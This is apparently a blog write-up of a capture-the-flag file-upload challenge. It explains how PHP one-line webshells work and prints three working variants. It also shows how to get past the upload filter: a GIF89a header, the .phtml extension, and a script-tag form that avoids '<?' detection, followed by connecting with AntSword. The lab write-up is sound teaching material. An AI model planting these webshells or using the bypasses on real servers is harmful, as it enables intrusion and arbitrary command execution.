[极客大挑战 2019]Upload 1
[极客大挑战 2019]Upload 1
审题
看到是一个文件上传类题型。
知识点
一句话木马的注入
知识点详解
一句话木马的原理
eval()函数会将参数作为PHP代码进行执行,因此通过eval()函数中的参数v提交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$_POST[]变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。
成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行,通过v参数传入命令执行函数system(),执行system()函数中的系统命令。
一句话木马的基本写法。
1.<?php @eval($_POST['cmd']);?>
2.<?=@eval($_POST['cmd']);?>
3.<script language="php">eval($_REQUEST[cmd])</script>
绕过后缀的有文件格式有php,php3,php4,php5,phtml,pht
解题
上传含有一句话木马的b.txt文件,并使用bp抓包更改后缀
其中前面加上GIF89a,这个可以伪造成jpg格式的文件。
看到更改为.php后缀时显示NO,php所以尝试其他后缀,.phtml成功绕过。但题目又写到no,hacker,你的文件有<?
所以,使用另一种一句话木马格式
更改后发现上传成功
一般上传后的文件在/upload/路径下。
打开b.phtml连接蚁剑。
在根目录下找到flag。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析